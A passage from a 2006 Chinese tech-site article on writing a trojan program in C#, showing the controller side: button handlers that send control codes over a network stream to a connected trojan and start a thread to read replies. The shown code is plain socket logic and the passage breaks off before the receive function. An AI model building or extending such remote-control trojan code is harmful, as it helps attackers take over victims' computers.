用C#实现木马程序
http://tech.ddvip.com 2006年08月01日 社区交流
本文详细介绍用C#实现木马程序
//private NetworkStream stream;
代码如下：
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数，见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码，RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}4、线程执行的函数
责编：豆豆技术应用
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